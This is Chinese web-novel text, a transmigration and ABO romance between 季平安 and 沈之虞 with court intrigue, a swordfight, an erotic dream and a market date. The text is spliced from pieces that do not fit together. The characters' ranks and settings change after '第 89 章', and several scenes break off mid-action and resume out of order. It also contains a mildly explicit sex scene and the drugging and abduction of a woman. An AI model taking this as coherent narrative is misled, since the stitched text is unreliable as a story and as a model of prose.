“今夜?”沈之虞蹙眉,她从今日开始睡在正院,季平安是要留宿的。 哪怕她们不睡在一起,她若有什么动静,季平安又不是聋子。 “是,据说太女发现了昭贤女公子的踪迹。” 南秦太女季承继,公认的南秦最优秀的皇女,英明果敢,睿智贤德,论能力,论品德,若能继位绝对是一代明君。 可惜身体不好,时不时的就要养病,才造成了南秦朝堂夺嫡之争,党争更是激烈。 党争是皇帝平衡朝堂的手段,所谓帝王心术,可当朝堂需要党争平衡,何谈政通人和。 要是太女季承继的身体好,南秦绝不会是现在这样的景象。 季承继发现了北齐太女李昭贤的踪迹,必定不会三罢干休。 那李昭贤的人来见她,岂不是把她拖下水? 与虎谋皮果然不智,如果季承继发现了她与北齐太女有联系,在这上都城,无论她有什么谋划都将成空。 沈之虞的思绪远去,眉头微微蹙起。季平安被两人的亲密接触给惊了一下,先是担心沈之虞会不会生气,然后又想抱都抱了,就这样吧。 她本就没有什么乾元,坤泽的自觉,干脆把人公主抱了起来。 不得不说,沈之虞真的好软,香香软软的,抱在怀里真舒服。 可马上,她就不胡思乱想了。 她这样的动作,惹的沈之虞抓紧了她的胳膊,把她的胳膊抓的生痛,眼泪差点儿出来,哪有心思再想什么香软老婆。 季平安突如起来的动作,惊到了所有人,沈之虞没有惊呼,反倒是旁边的婢女惊呼出声。 她没有搭理,大步走到罗汉床边,然后把沈之虞放在上面。 沈之虞闻到季平安身上浓重的柑橘沉香气息,把自己整个人给包裹起来,她立即绷直了身体,语气不可思议中带着愤怒,“季平安?你做什么?” 季平安只觉得沈之虞的声音很好听,特别是叫她的名字时,由于嗓音沙哑不能用力,她竟然感受到了一点点温柔。 要不是后面的质问的话,当真是有点儿动人的。 她被自己的感受笑到了,沈之虞怎么可能对她温柔。 但她可以温柔,她先倒了一杯茶水放到了沈之虞的边上,柔声道:“夫人先歇息,这件事我来处理。” 她拿起桌上的空杯子,在手上把玩了一下,随即把杯子“砰”的一声摔到薛嬷嬷的面前。 杯子在地上四分五裂,把房间里的婢女吓的都跪在了地上。 薛嬷嬷头铁的站的笔直,认为季平安不会对自己怎么样。 她冷声道:“薛嬷嬷,你是在质疑本王的决定吗?” 季平安心里轻哼一声,她绝对不会让人阻挡自己的求生计划的。 先不说前身得罪了太多人的,其中还包括自己的母皇,就目前而言,最重要的还是沈之虞。 沈之虞的离开是她被囚禁的理由,十虞后,沈之虞还会饿死她。 生杀大权都在沈之虞的手里,别人欺负沈之虞,就是在欺负她。 她会让别人欺负自己吗?当然不会。 刚好趁此机会,整顿一下楚湘王府上下。 “殿下,老奴不敢。”薛嬷嬷作威作福惯了,没弄清楚自己的地位。 季平安一发火,薛嬷嬷就怕了。 说到底,她只是一个奶娘而已,皇家的女儿,不缺奶娘,出生起身边的奶娘就有三个,她只是不一样在,自己是先皇后身边的老人,王上敬的从来都不是她,是看在先皇后的份上,给了她几分薄面,长此以往,叫她以为自己是王府的主子了。 实际上,她不过就是一个下人。 若是季平安不发火,薛嬷嬷沉浸在自己的幻想里,还没能找清楚自己的位置呢。 季平安自然不会高高拿起,轻轻放下。 她缓缓的坐到罗汉床上,倚在上面,眼神幽幽的从那些跪下的婢女脸上掠过。 沉默了半响,眼看房里的气氛越来越僵,她不冷不淡道:“薛嬷嬷不敬王妃,以下犯上,即日起禁止进入王府,其女兰屏,送回家中。” 薛嬷嬷忙磕头求情道:“这是老奴的错,与屏儿无关啊。” 兰屏原本是跪着的,听到她的话,忙把头磕在地上哭诉,“殿下,求您不要赶屏儿走。” “安远。”季平安没有要跟她们多言的意思,直接叫人进来。 安远是她的侍卫长,镇国公府那边安排过来的人,能完全的信任。 安远一袭黑色飞鱼服,快步走进来,“诺。” 无论在任何时候,安远跟她的距离,永远不会超过她的声音范围。 “赶走。” 季平安毫不留情,要想整治王府,就要先从她的身边开始。 她身边的婢女太多了,背后的主人更不会少。 至于侍卫不一样,那是她的亲卫队,一共三十六人,里面的每一个人,都是当虞老镇国公为前身挑选的,说是死士也不为过。 其实这是季平安现代人的思想,在所有人看来,她已经手下留情了,在这个皇权至上的时代,奴仆的生死,仅是上位者的一句话,大多数人处理奴仆,一般是打板子流放,留一条命扔到庄子上。 她只是把人赶回家,一点儿皮肉伤都没有让对方受,放在古代就是宽和待人。 因此,安远一过来,薛嬷嬷跟兰屏没敢多待。 安远可不是怜香惜玉的人,要是让她丢出王府,她们的脸也就没了,兰屏可还没嫁人呢。 想到此处,她们不敢再说什么,灰溜溜的走了。 看着她们离去的背影,季平安轻咳嗽一声,“以后正院的一切事物由王妃说的算,你们要听王妃的话,懂了吗?” “是,殿下。”剩余的婢女赶紧应了。 薛嬷嬷跟兰屏都被赶出去了,她们可没有一个做奶娘的娘亲,敢出言顶撞,恐怕要打板子了。 季平安不清楚下面人的脑补,反正只要王府上下老老实实的,把沈之虞当成真正的王妃敬着,对她而言就是一件好事。 沈之虞舒心了,她就舒心了。 一旁的沈之虞蹙眉,欺负她的人,她肯定是不会放过的,若她离开,满王府欺辱过她或是她沈家人的人,都要为此付出代价。 而薛嬷嬷跟兰屏,前者针对她,后者针对她陪嫁过来的人,都不是什么好东西。 她想的是自己处理掉这些人,没想到季平安突然转了性子,把自己最信任的嬷嬷跟婢女赶出了王府。 可惜只是赶出去,便宜她们了。 对于季平安的做法,沈之虞总觉得她可能在盘算什么事情。 季平安哪能盘算什么啊,保命而已,并且有点儿担心沈之虞的腿。 昨晚跪了那么久,又怀孕了,多亏沈之虞身子骨好,否则一番折腾下来,早就受不住了。 沈之虞没风寒没怎么样的,估计跟习武有关。 想到这里,季平安觉得,自己要早点儿捡起前身的武术底子,古代的医疗环境太差,一个不好是会死人的,有一个好的身体比什么都强。 不过,虽然沈之虞没有得风寒,但跪了那么久,膝盖肯定很严重。 起床时,她有听到沈之虞的婢女吸冷气的声音,想来是看到对方膝盖上的伤,才有此反应。 刚起那会儿,婢女还没给沈之虞上药,她们想的是回到自己的院子上药,没想到被留了下来。 想着应该是上药要把下身的衣服脱掉,有她在不方便。 季平安善解人意道:“南灵,照顾好王妃,记得给王妃上药,你们伺候好王妃,叫府医早晚来给王妃请平安脉。” 南灵是沈之虞的贴身婢女,比另外两个更得用。 她一边说着一边起身,“本王去前院了,午膳来陪王妃。” 说了一句,她又温声,专门对沈之虞道:“夫人,我先去了。” 沈之虞:“” 季平安整理了一下衣服,离开前往边上看了一眼,正好看到了沈之虞不满的表情,知道对方不想让自己陪。 能怎么办呢?她的求生欲,可不允许她不陪着。 没有什么比陪“老婆”更重要了,哦,古代该叫妻子或者夫人吧? 季平安迈步往院外走去,没注意到身后有一道视线,盯着她走了许久。 “你们说,季狗的葫芦里,卖的什么药?” 屋子里只剩下沈之虞主仆时,她倚在罗汉床上,懒洋洋的抬眸。 南灵将信将疑道:“或许是,因为子嗣?如今陛下乾元女儿众多,而乾元孙女只有一个,还是” 还是皇帝最不喜欢的八皇女生的,八皇女的母妃,曾经风光一时,后来母妃用巫蛊谋害帝王,结局赐死。 至此八皇女被厌弃,如今二十二了,也没有封王。 很多人说,娘亲因为有了乾元孩子而贵,事实上,娘亲受到主君的宠爱,孩子才有地位。 除非是娘亲本身地位不高,又不得主君宠爱,才有了娘亲凭乾元而贵的说法。 八皇女的处境,跟娘亲息息相关。 不仅是皇家,勋贵世家,乃至普通人家也是这样。 沈之虞不认为,自己怀孕了,就能改变季平安对自己的态度。 两人成亲半虞,已成定局,无法更改,以她对季平安的了解,这人绝不可能对皇位死心。 有了孩子,说不定会让当今圣上改变主意,让季狗重获继承皇位的机会。 或许季平安就是这样想的,就格外重视她腹中的孩子。 不光她这么认为,连她身边的婢女都是这样觉得的。 “恐怕,楚湘王就指望着姑娘肚子里的孩子翻身了。”徐嬷嬷上前一步,沉声说着。 徐嬷嬷是跟着沈之虞陪嫁过来的,从她身边的人,还一直叫她姑娘,就能听出来,沈家来的人看到自家姑娘在王府里面受苦,心中是有气的。 沈之虞冷笑一声,“翻身?她凭什么?” 季狗多么尊贵的身份,但凡她有点儿脑子,都不会落得现在的下场。 这只是开始,沈之虞看的很清楚,一旦季平安犯错,何止禁足一月那么简单,搞不好会一直圈禁在王府,再也出不去了。 偏偏季狗看不清楚,以为是娶了自己,才远离皇位的。 未婚皇女不止季平安一个,怎么就是她来娶自己呢?不过是皇帝早就厌弃了她罢了。 徐嬷嬷有些担忧,“可是姑娘你现在怀有身孕,要是楚湘王达不到自己的目的,我怕” “不用担心,再怎么样,结果不会比现在更糟糕了。” 短短半虞,沈之虞从家里娇养的坤泽女儿,变成寄人篱下,饱受欺辱且有名无实的王妃。 她早就习惯了,在适应了之后,她自然不会束手就擒。 不管季平安的反常是因为什么,只要不伤及她跟自己身边的人就行。 但沈之虞不是坐等结果的人,“李昭贤的人,什么时候过来。” “姑娘,真的要见北齐太女的人吗?”南灵有点儿担心。 “嗯。” 沈之虞没有解释,她明白身边人的担心,在南秦见北齐太女的人,一旦被发现是死罪。 可若别人不让她活,那大家就一起死好了。 要是她活不了,她一定会把匕首,先一步插进季平安的心脏的。 季平安进到房里,就发现了沈之虞的状态,她上前几步问道:“夫人,出什么事了吗?” 她洗漱完出来时,没有人发现她,关于沈之虞主仆的谈话,多少听到了些。 姐姐季承继发现了北齐太女的踪迹?小说里面没有写这段啊? 那么北齐太女还能跟沈之虞见面吗?真实世界与小说不一样,世界瞬息万变,不能全凭小说剧情。 小说剧情只能指引大致方向,而且无时无刻不在发生着变化,毕竟从她到这个世界的那一刻,有些东西就开始改变了。 沈之虞的思绪被她打断,声音冷淡道:“无事。” 季平安并不指望沈之虞对她说些什么,一天的相处,当然比不过之前半虞的恶毒对待。 她不在意的笑笑,“夫人是在担心,王府无人可用吗?” 沈之虞端起旁边的小碗,小口喝着里面的汤,好一会儿才道:“我沈家奴仆已接手王府各职,等明日牙行会带人来,要不了几日王府就会恢复正常。” 赶在内务府派人来之前,让牙行送来奴婢,那些奴婢的卖身契都在手中,可比内务府的奴婢好管,到时楚湘王府勉强算的上稳如铁桶了。 沈之虞自会把卖身契握在手中,那时的王府后院,尽在她的掌控之中。 前院的人是王府属官与侍卫府兵,后院之人很难染指,但收买是可以的。 现在季承继发现了李昭贤的踪迹,她怕是很难离开南秦了,而且她与北齐太女的合作,无疑是与虎谋皮,到时西北不站队也得站队了。 如今局势大变,她还要按原计划进行吗? 今夜李昭贤的人来找她,一旦让人发现,她有口难辨。 沈之虞的视线放在季平安的身上,原本是要赶季狗走的,为了不给李昭贤的人机会,怕是要把季狗留下了。 季狗本人,哦,不,季平安见沈之虞若有所思的打量着自己,心里有点儿想法,但不多。 “王府的事情,辛苦夫人了。”季平安装的彬彬有礼的模样。 她这个人在外人设全靠自己给,开心了礼貌文化人,不开心了大家一起发疯。 想装的时候能装会装,不想装的时候主打一个耿直,没有固定的人设,全看自己开心。 季平安只是太早的成熟起来,早早的失去了庇护,又寄人篱下,自身不立起来,又能如何。 因此,在知道自己穿越后,捋顺了自身的处境,迅速做出了应对。 今天开局顺利,她的心情不错,清楚最大的功臣是沈之虞,自己这个大腿得抱住了,可不能让对方把自己甩掉。 于是她显得有点儿狗腿的半蹲在沈之虞的面前,“我帮夫人按摩吧?” 她眨巴眨巴眼睛,单纯无辜的小模样,让沈之虞愣了愣神。 乾元与坤泽对相互来说,有着强烈的吸引力,随着着她的靠近,扑面而来的柑橘沉香气息,清新甜美中带着些许厚重。 沈之虞不自在的往后收了收腿,她的身上还带有季狗的标记呢,仅是靠近就惹的她心中微颤,后脖颈开始发热了。 她现在也想起来了季平安还是“生气”的状态。 沈之虞抿了抿唇道:“只是权宜之计。” 若是有更好的方法,她也不可能会伤害自己的身体。 起码没有听到“值得”两个字,相比从前也好了许多。 季平安心里一面这样想着,一面季平安又觉得不能放低自己的底线。 心里的两个小人在打架一般,最后她还是看着人道。 “殿下,但是我觉得不值得。” “你自己,比这些要重要许多。” 第 89 章 第 89 章 季平安的语气里带着无奈,但无奈之下却藏着温柔和珍重。 沈之虞的长睫动了下,像是愣住一般。 季平安没有听到对方的回答,只有脑海的系统提示声音。 【目标人物好感度+1】 【目标人物好感度+1】 长公主府,沈之虞马车出了府邸,季平安便跟在身后,沈之虞不告诉她去了哪儿,但是她难道没有脚吗? 看着她出府的方向,并非皇宫,季平安扬扬眉,一挥手,“小桃,跟上。” 绿药在人山人海里穿梭,忽然一个垫脚:“哎呀。” 撞在一人身上。 灰色宽边袍,大兜帽直接盖住她的脸,她只能看到对方尖尖的下巴,磕在她身上有点疼。 好冷酷的人,她阅人无数,直觉告诉她这个女人不可靠近。 一身泼辣劲硬是被逼的收敛三分。 “你没事吧?” 绿芍轻声问,少师闻言,不做任何回应。 须臾间,绿芍眼前一虚,好似看到什么一般,对她痴痴笑起,主动上来勾着她衣角,牵引着像前走。 少师无声笑了,夜娇用在这等风月场所,量把握的刚刚好,既不会引人怀疑又能将人轻松控制带离揽月坊,只可惜,一次只能带一个,还是太少了。 转身向门口走去。 一路顺利出了门。 少师心中不屑,昭国女子就算在有钱又如何,还不是会被她轻易拿捏,当个可怜的试验品。 穿过街道,走到一僻静处,绿芍看着前方“咯咯咯”笑不停。 忽然身后一阵风似的,长剑穿耳而过。 挑起少师长袍,她立刻后退旋转数部,拔出玩刀,看着眼前杀意浓厚的女子。 十七满面冷色,“人留下。” 少师扬着尾音“哦”了一声,“那看你有没有本事让我留下。” 狭窄的小巷内,刀剑声碰撞,发出令人胆寒的心颤。 季平安一路跟着沈之虞马车,却发现她进了揽月坊。 想起不久前,梅姨娘出现在长公主府邸。 她蹙眉跟了上去。 片刻后。 “被骗了。” 从揽月坊出来,季平安脸上愤愤,“沈之虞不在坊内。” 她白跑了? 巷内。 刀剑纵横交错,时快时慢,直教人看的眼花缭乱,十七手中长剑挽了个空,对面少师手臂一挥,弯刀像她急转刺来,极速又凶狠,千钧一发之际,十七被人从身后一带,脚尖离地拖出十几米,站稳身子,只见一抹蓝迅速向前飞去。 剑光如电,在空中舞出一道优美的弧线,少师被她一阵凌厉的剑法逼的直退,剑影重重,每一招都带着冷厉的必杀之意。 巷中偶有行人经过,老远见到打斗都捂着嘴尖叫跑开。 很快,少师在一阵密密麻麻的攻势下显出颓态,沈之虞身形一闪移到她的身后,举起剑,关键时刻。 “沈之虞” 季平安跑的气喘吁吁,她在路上听到有人说这里的情形,过来一看,竟然真的是她。 没想到她工夫这么好。 沈之虞被她一唤,扭头看去,这一下给了少师机会,她袖口一挥,一阵白烟顷刻间将她跟众人隔离,一片浓雾中什么也看不见,沈之虞被迫后退几步,待到周围可以视物,少师已经不见。 沈之虞蹙眉,看着来人,白了她一眼,“你怎么来了?” 季平安看着她,好像自己犯了什么大错,悻悻开口:“寻你啊” 她又不是不回家,寻什么? “刚才是谁?” 沈之虞见她无比关心,这丫头怪会捣乱,不过好在十七跟了过去,那人武功不弱,又善于用毒,走的时候还把地上捉的女子一并带走,看来她们现在急需新的人物进行下一步计划。 “回去再说。”府中静悄悄,一眼望不到头,如此大的院落,修缮精美的凉亭,亭旁毗邻清澈可见底的小池,睡莲环绕,花香怡人,一汪翠色,搅得人心撩动。 穿过精致的花园,拐过几道曲折长廊,眼前一处精致别致的小院,上面写着雅芳舍。 周遭花圃成群,清雅素净,颇为风雅。 管家面上含笑:“季小姐,这是长公主吩咐给您安排的。” 季平安点头,“看着不错。” 沈之虞眼光果真如她人一般,很讲究独到。 尚未认识几天,她选的地方倒分外合乎自己情趣,这独栋小别墅,如果没人来打搅,她一个人在这里岂不快活。 “我歇息一会,后面物什我让婢女整理即可。” 管家点头,客套寒暄几句便离开,待人走后,季平安走到一边的椅子上坐下,舒展懒腰:“真要累死了。” 做马车一路颠簸,丞相府距离沈之虞的地方要弯弯绕绕好几圈,现在看着屋内,其实也没什么整理的,沈之虞已经让人将地方腾出,她带的一些个人用品,稍微摆放即可。 作为一个现代合格的打工人,这么点行当她完全一个人可以搞定。 小桃看着她:“小姐,我们要在这里生活几年?” “不知道。” “要是长公主看上你了,不让你走,一直在这里侍读,那你以后还能嫁得出去人吗?” 季平安想了想,应该不会,她看沈之虞那人,估摸着很难与人亲近,至于为什么让她来,谁知道呢,恐怕是无意中撞见了她不良癖好,想拉进来捂嘴? “独美不好吗?嫁什么人。” 作为新时代的女性,思想早已解放,一个人自由自在,多舒服。 休息完,两人一起将屋内衣物整理,小桃在另一边的小偏房,距离她要拐上几弯。 季平安整理好一切,身子不免有些乏,一旁贵妃榻她仰面躺上,身子渐渐放松。 门忽然开了。 季平安眼都没睁 直觉以为是小桃进来。 “没事儿你也歇着吧,今天都累了。” 说完不见回应,她觉得奇怪,微微转了个身,睁眼,只见头顶一抹阴影将她笼罩在内,眼前人一身团蝶百花烟雾金丝玉衣裙,头戴簪钗步摇,矜贵雍容。 沈之虞那张华丽的脸赫然出现在她头顶。 “来了。” 她嗓音淡淡看不出喜怒,并直而立,宽大的衣袍顺着她修长的身体倾泻披散至脚底四周,橘红披帛垂地,比她园中开的任何一朵花都要娇贵要艳。 这素雅小舍因她出现,霎时间也变得明亮。 季平安在她注视下,没来由的点点头,想要起身,却发现她身子沉重,任是内心如何焦躁也无法抵挡那灌了铅似的身体。 沈之虞俯身,修长手指从宽袖中荡出,准确的挑到她下颌,冰冰凉沁着肌肤都跟着打寒噤。 季平安不有瑟缩一下,沈之虞见状清冷一笑:“今天倒知道怕了?” “之前不是还往本宫的身上主动靠吗?” 季平安耳根发红,要想辩驳,那是没法子,她控制不了那奇怪的灼热这才非礼了她。 她来时,姜雅风就劝诫她对沈之虞要小心侍奉,这人脾气阴晴不定,虽看上她招入门下,但亦不可对她散漫敷衍。 季平安张张嘴,眨眨眼:“那是公主您平易近人,仁善和蔼的光辉普照大地,我见那光芒太甚,不觉被吸引这才失了礼。” “请公主责罚。” 季平安暗自咂舌,恭维到如此地步,沈之虞会责罚她吗? 沈之虞忽然笑了,疏淡清丽的眉眼,衬着冷白的皮肤,带着天生的尊贵矜傲,季平安忽然看待了。 “既如此,那本宫就如你所愿。” 沈之虞说罢,上前两步。 季平安瞪大眼睛,焦急道:“不是,你还真罚?” 她想起身,可这软榻好似对她施了魔法,她怎么也移不开身子,沈之虞那张面容离的越发近,身上若有似无的罂粟香将她包裹。 鼻尖对着鼻尖,季平安嘤咛一声,她离这么近还让不让她喘息了? “噫嗯。” 季平安腰间被一双手箍住,她挺着腰肢,沈之虞略微霸道的将唇间芬香渡到她的身上,比琼花还要柔软似雨露一般绵长,季平安惊呼连连,双手下意识便要阻止这恼人的快意,手却被沈之虞摁住至于顶端。 鼻尖那抹罂粟愈发浓厚,季平安差点晕过去,□□缠着玉液,汹涌溢出,沈之虞似乎很懂她,近处,她只能看到沈之虞头上的簪鬟手饰,冰冷的金属步摇摇晃间贴着她脸上“坤娘。” 四处点火极致处,沈之虞忽然抬头,漆黑的瞳眸凝视她,微勾唇角,音线低沉,动听极了。 季平安不明所以,眼中充满疑问。 就在她略显天真的瞳仁里,沈之虞抬手在她左耳处轻轻一碰,冰凉的指尖,带起的是意外的热潮。 “嘶” 一声惊叫,季平安骤然睁开眼,心跳砰砰,她半捂着心口,下意识就去碰左耳,那里被沈之虞抚触的地方,这人也太涩了叭。 “呵呵。” 耳边一阵似笑非笑的音调,季平安抬眸,才发现身边不知何时站了一人。 沈之虞神态悠闲,看着她眸底带着几分不明之意。 在看四周,一切都是刚进门的样子,她,躺在软榻上,她是睡着了? 沈之虞衣衫动都没动,记忆里却是凌乱又急促的,她那是在做梦? 跟眼前人天上人间? 意识到这点,她耳根处一阵烫意,为了确定那是梦,季平安后知后觉:“你,什么时候来的?” 少女眼中朦胧,清澈的眸子倒映出她的影子,沈之虞负手而立,见她小脸悄悄泛起红晕,挑眉:“你希望我什么时候来?” 季平安心跳“咚咚”,沈之虞与梦中穿着相同的衣服,只披帛换了白色,妆容依旧是高贵难攀之姿,瞧出她故意的戏谑之意,季平安尽量抚平心绪,不能让人窥见那绯色梦境。 “我” “不知道” 季平安眨眨眼,决定诚实回答,直觉告诉她,沈之虞面前,撒谎要有技巧。 真假参半。 她总不会窥探到什么。 “你倒是诚实。”沈之虞盯着她,见她左手食指与右手食指相互间悄悄勾着打成结。 不由了然。 “你刚才做梦了。” 这不是问句,似乎是肯定,季平安心中警铃大作,难道她刚才无意间吐露了什么见不得人的话。 意识到这点,季平安不着痕迹实则心中快乱翻了天,“呃,是的。” 一遍脑中快速旋转,要怎么编? “哦?那跟本宫说说,你都做了什么梦,笑成这样。” 沈之虞言毕,转而在一旁的椅上坐下。 啥? 她还笑了? 天呐? 她梦中跟沈之虞翻江倒海,纠葛斯缠不尽,她居然一边梦着一边笑? 头皮一阵发麻。 看到那张促狭的双眼,季平安脑中极速转动:“我笑是因为我在想,那么多人争着也考不进来的体制内编制,被我免试进了,还真是走运,哈哈” 她在现代社会,就是遭遇过现实的毒打,考了几次铁饭碗,但都悲催的挂了。 没想到穿书后反而直接晋升。 缘分啊。 “什么?” 沈之虞蹙眉,体制内编制? 免试? 须臾,她换了个姿势,一只手担在案几上撑着下颚,一只手搭在交叠的修长腿上,华贵袍服在地上拖出一道漂亮的弧线,了然道:“你想做官?” “啊?” 轻飘飘的一句,季平安一震,她什么时候说过想做官这种话了? 她这脑子也当不了官,处理不了事啊,她就适合做个米虫,一辈子混吃等死。 “无妨,有上进心是好事。” 沈之虞点点头,继而道:“先从侍读做起,后期看表现酌情晋升。” 季平安懵了,天降的富贵,给她砸的硬是不敢接。 “我其实” 并不想来,好叭。 “阿嚏” 季平安适时打了个喷嚏,她方才在软踏上没有盖被子,窗牖半开,一定是穿堂风给她吹的。 她捂嘴连续又打了两个,弯腰间面部撞在一条手臂上,鼻子与嘴正好拂过沈之虞的长袖,丝丝滑滑,她拍着季平安的后背,“丞相要是知道她宝贝女儿第一天来我这里就生病,估计要来像我要人。” “不会的阿嚏” 季平安鼻音都出来了,压着嗓子,憋着气摆摆手,她母亲跟娘,是绝不会来这里要人。 她们恨不能她时时刻刻都钉在长公主府。 季平安喷的厉害,脚底一滑踩到裙子,踉跄着未站稳,竟拽着身边人将所有力道都压在她身上。 面颊贴着沈之虞的心口往上蹭,肌肤与衣服上下摩擦,恰好与一瓣柔软相贴合。 沈之虞眉心紧皱,右手拖着她的腰,后背抵在茶几上。 季平安软脚蟹一样挂在对方身上,那片温软直刺的心脏都要停止跳动,意识到那是什么后,她呼吸都停止了。 “舒服吗?” 头顶一阵凉凉的声音,季平安回神,就见沈之虞面色似寒霜,眼尾闪着一抹浓稠,既惊艳又冷入心扉。 她汗毛全炸开,立刻起身,看着她难得不好意思,“哈,不小心,不小心。” 季平安目光忽然瞥见她左手处,一弯细密的红染了眼。 “你受伤了?” 季平安惊呼,立刻上去捧着她手,看了看,“是,之前的?” 她第一次见到沈之虞,这人就受伤来着。 这么严重吗? “本来已经无碍。”沈之虞淡淡道。 “现在托你的福,想好也好不了。” 沈之虞面色沉稳,左手纱布下的血浸湿了衣袖。 “我给你叫医官?”季平安看见那血水,脑中嗡嗡作响。 “等你叫来,本宫差不多也要血流而亡。” 沈之虞似乎很不喜欢她叫医官,这点小事也要医官。 季平安在她镇定的眼底住了脚,只听沈之虞:“去柜子里把药箱拿来。” 沈之虞说着收起剑。 季平安一把拉着她胳膊跟上来,道:“咱们好歹出来一遭。” 沈之虞低头看她,季平安眼底亮闪闪,在看四周,脚下是皇城内某个街道,在走几步就到集市旺角。 她这是想逛街? 沈之虞见她一脸娇憨,算了,十七去追当不成太大问题。 既然锁定了目标,人又在眼里地下,总会追到。 她心头一弗,面上带了几分笑,“所以呢?” 季平安立刻接口:“自然要不虚度光阴,不枉此行。” 沈之虞被她牵着手,一路朝前。 她自穿进书中以来,就逛过一次,只不过上一次是独身,现在身边多了一个。 沈之虞每日去朝会,都会乘坐马车经过京城最繁华热闹的大街,彼时,她不曾想过这街道会如此有趣味,如今跟着季平安,被她牵着手,拉着胳膊,姿态无比亲呢的相互挽着,重新走在这踏了无数回的道上,微风拂过,竟有种岁月静好,烟火一生的感觉。 季平安眼尖的瞅见前方一个卖糖画的,拉着沈之虞上去:“我们去画一个。” 沈之虞蹙眉,在这光天化日,她要跟自己去小摊上画糖画? 季平安见她犹豫,把她袖子攥紧紧的,生怕她跑了似的,诱哄道:“很好玩的,我们到现在都没个仪式。” 她跟沈之虞好歹算是谈恋爱吧? 恋人之间,逛个街,一起画个情侣画,不很正常嘛? 沈之虞被她拉到糖画铺子,老板娘热心的招呼:“嘿,画一个?” 季平安积极回应,疯狂点头:“是的,是的,老板。” “怎么画?” 老板娘看她二人着装,虽然是换了便服,但通身气质骗不了人,尤其是这个小姑娘手里拉着的,她笑眯眯比划了个手势:“三两银子一副,可定制。” 季平安瞪大眼睛,三两?这宰猪呢,好贵。 看着沈之虞,嘴角瞬间垮了。 “我们去看别的吧,吃个糖葫芦也不错。” 沈之虞将她反向一拉,道:“你不是发了月钱?” 没记错,前两天,公主府刚发了供奉。 季平安一听,浑身瑟缩,看着她低声惊恐道:“那才多少?” 都不够塞牙缝的,拿出来岂不是要花光? 她还想着存点儿养老。 “够买了。”季平安趴在小窗边,看着窗外明媚景色的假山流水,可兴致总是蔫耷耷,自从揽月坊回来她就未着言语。 那晚,那个人是沈之虞吧。 一国公主跑去窑子里玩的那么花,她这一不小心堪破她的秘密,往后在公主府岂不是要玩蛋? 真是命苦,穿书穿成这么个结局。 眼看着明日就要入府,季平安心中哀叹连连,一旁的小桃跟没事人一样还在收拾细软,那个笨丫头哪里知道自己心中所想。 那张狭长凤眸俯身时在她眼前如轻烟般飘过时,季平安突然打了个寒噤。 这具身体到底怎么了,如潮水般涌出的喷薄时好时坏,偏生每次在遇到那人时就不受控制。 季平安面对即将入府的挑战,心中暗自思忖,这穿的是书,过程发展完全跟她看的不一样,估摸着是自己乱入导致了剧情发癫。 在这里她也不知道用什么法子可以出去,反正人是活的,要是沈之虞刁难她,她就跑。 腿长着不就是留跑的吗? 不怕。 哈。 季平安这么一想,低沉的心又高昂起来。 公主府。 梅姨娘将上个季度的财务报告捧到上位之人面前,沈之虞淡淡扫了一眼,语气不起不伏,“嬷嬷,这还远远不够。” 梅姨娘面上讪道:“老奴知道,会想法子扩大店面,在招些姑娘进来。” “前方战线看似平和,实则凶流暗涌,先皇在世曾发起与离国的战争,虽然最后双方签了五年不战的合约,可眼下这约定就快要到了。” 离国狼子野心,昭国地大物博,她们窥于一角岂能甘心? 离国是隐患。 沈之虞一本正经继续逗她,换她死死拽住季平安胳膊,怕她脚底抹油。 季平安对上她眼睛,热泪盈眶:“沈之虞,我觉得过日还是要节俭点好,对叭,我省下来的等我死了,都是你的。 ” 沈之虞点点头道,中肯道:“那是以后的事。” 眼下,现在,她要画糖画。 季平安欲哭无泪,早知道不带她来。 她苦着脸,上前掏出了荷包,沈之虞想笑,却强装镇定,只是嘴角要忍不住。 “算了,看来,你是不想跟本宫和画。” 沈之虞见她慢吞吞,忽然感慨,作势要走。 季平安一听,立马拉住她,悲愤两秒,算了,这是沈之虞发给她的,而她又喜欢这人,有什么法子呢,这钱她合该存不住。 “啪嗒”一声脆响,老板娘脸上笑开了花。 “来来来,二位这面请,是要摆亲亲造型还是拉手?” 里间,沈之虞拉着她,弯腰在她面颊轻轻落一吻。 糖画制成,两个女子一个娇俏,一个冷艳,二人同框,吻人的眉眼温柔,被吻的姿态娇羞。 画面和谐极了。季平安笑眯眯在她侧脸亲了口,这样,她大半天的劳累就算是值得了。虽然看着不好看,但是沈之虞吃起来说不错。 “我往后天天给你做。” 季平安眉梢上扬,眼中放光。 沈之虞眉头突突跳,“别,以后你还是去书馆看书吧。 ” 十七从门外进来。 沈之虞瞥见她,笑着的脸瞬间收敛。 片刻后。 “坤娘?” “你说那些失踪女子都是乾娘?” 十七看着她,点头:“很奇怪,但是梦香而死的那些人却是随机的。” 对方到底想干什么? 这么扑朔迷离。 沈之虞道:“那些乾娘尸体在何处?” “目前只发现两具,她们,她们” 沈之虞看着十七支支吾吾,便道:“有话直说。” 十七跟她那么多年,还是第一次这么欲言又止。 十七脸色微顿,随即朗声道:“那些乾娘像是中了某种迷药,像在极乐之中,死前似乎经历一番癫狂。” “她们死的时候,身上有严重的抓痕,还有瞳孔放大,像是被什么吸引,面上带着扭曲的笑,造型怪异,其中一个可以猜测到,她在自己解自己的衣带。” 十七回想起看到的那两具尸体,她们身上有着极为浓烈的香,不知道她们到底看到了什么。 “用两种毒?” 沈之虞思索,离国想毒害昭国却选择两种不同的毒。 “会不会这是两波人?” 十七提出疑问。泣血。 “娘” “你别说了,娘都知道,长公主天资绰约,想去她府邸做事的排着长队打着灯笼都数不尽,她独独看中你,你一时兴奋过了头,都可以理解。” “没事儿,没什么大事,花伶公公已经回去复差,旨意也算是正式接下来。” “不是,娘,我晕的时候,我记得我没接下来。” 她算准了,花伶给她的时候她指尖刚沾到就倒地不起。 “我跟你母亲都觉得你是太开心,就替你接了,本来这圣旨就是下到我们府的。” 季澜进屋,接了口,面色和蔼温雅,她也没想到,高不可攀,难以捉摸的长公主殿下会另眼相看阿九,长公主府邸门客三千,侍读只是起点。 “她那日考你文采,想必日后有提拔你之意,你进府好好学习,将来也算是走了仕途。” 季平安左看看右看看,她母亲跟娘站在一起,眼中闪光,满脸慈爱,对她寄予厚望,觉得自家孩子终于长大要振翅高飞。 画面和蔼极了。 她们哪里知道,当天到底发生了什么。 沈之虞到底是什么意思。 既让她回来,又隔了这许久,再把她招过去。 “我身体好像还没好,咳咳” “大夫来看了,问题不大,小风寒,你喝点药就好,这几天在家养养,精神好了在去。” 姜雅风笑着接口。 “万一要好久才好呢?”季平安不死心的问。 “这样的话。”季澜做思索状,“那只能去求长公主,将你提前接走,她那里绝世高手多,定能将你医治好。” 季平安顿时蔫了,她错了,原身的两个妈,都不好对付。 